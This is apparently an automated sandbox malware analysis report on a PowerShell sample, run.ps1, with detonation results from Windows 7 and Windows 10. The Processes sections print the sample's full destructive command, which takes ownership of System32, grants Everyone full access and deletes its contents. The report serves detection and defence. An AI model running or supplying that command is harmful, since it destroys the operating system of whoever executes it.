Malware Analysis Report

2024-11-16 12:57

Sample ID 240806-qp9xfszgnq
Target run.ps1
SHA256 fb03b9687639b470d2b0ee74654906d834756888bc2e54f8e06bacfeb7eb9ab2
Tags
discovery execution exploit
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

fb03b9687639b470d2b0ee74654906d834756888bc2e54f8e06bacfeb7eb9ab2

Threat Level: Likely malicious

The file run.ps1 was found to be: Likely malicious.

Malicious Activity Summary

discovery execution exploit

Possible privilege escalation attempt

Modifies file permissions

Command and Scripting Interpreter: PowerShell

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-06 13:27

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-06 13:27

Reported

2024-08-06 13:28

Platform

win7-20240705-en

Max time kernel

29s

Max time network

32s

Command Line

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\run.ps1

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Processes

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\run.ps1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "takeown /f C:\Windows\System32\* && icacls C:\Windows\System32\* /grant Everyone:(F) && del/s/q C:\Windows\System32\*"

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\* /grant Everyone:(F)

C:\Windows\explorer.exe

"C:\Windows\explorer.exe"

Network

N/A

Files

memory/1252-4-0x000007FEF56FE000-0x000007FEF56FF000-memory.dmp

memory/1252-5-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

memory/1252-6-0x0000000001E60000-0x0000000001E68000-memory.dmp

memory/1252-7-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

memory/1252-11-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

memory/1252-10-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

memory/1252-9-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

memory/1252-8-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

memory/1252-12-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

memory/1252-13-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-06 13:27

Reported

2024-08-06 13:28

Platform

win10v2004-20240802-en

Max time kernel

46s

Max time network

43s

Command Line

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\run.ps1

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4792 wrote to memory of 5028 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 4792 wrote to memory of 5028 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 5028 wrote to memory of 948 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 5028 wrote to memory of 948 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 5028 wrote to memory of 3076 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 5028 wrote to memory of 3076 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe

Processes

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\run.ps1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "takeown /f C:\Windows\System32\* && icacls C:\Windows\System32\* /grant Everyone:(F) && del/s/q C:\Windows\System32\*"

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\* /grant Everyone:(F)

Network

Country Destination Domain Proto
US 8.8.8.8:53 147.177.190.20.in-addr.arpa udp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp

Files

memory/4792-0-0x00007FFDDAAF3000-0x00007FFDDAAF5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aisxvhdv.qg2.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4792-10-0x00000209795F0000-0x0000020979612000-memory.dmp

memory/4792-11-0x00007FFDDAAF0000-0x00007FFDDB5B1000-memory.dmp

memory/4792-12-0x00007FFDDAAF0000-0x00007FFDDB5B1000-memory.dmp

memory/4792-13-0x00007FFDDAAF0000-0x00007FFDDB5B1000-memory.dmp

memory/4792-16-0x00007FFDDAAF0000-0x00007FFDDB5B1000-memory.dmp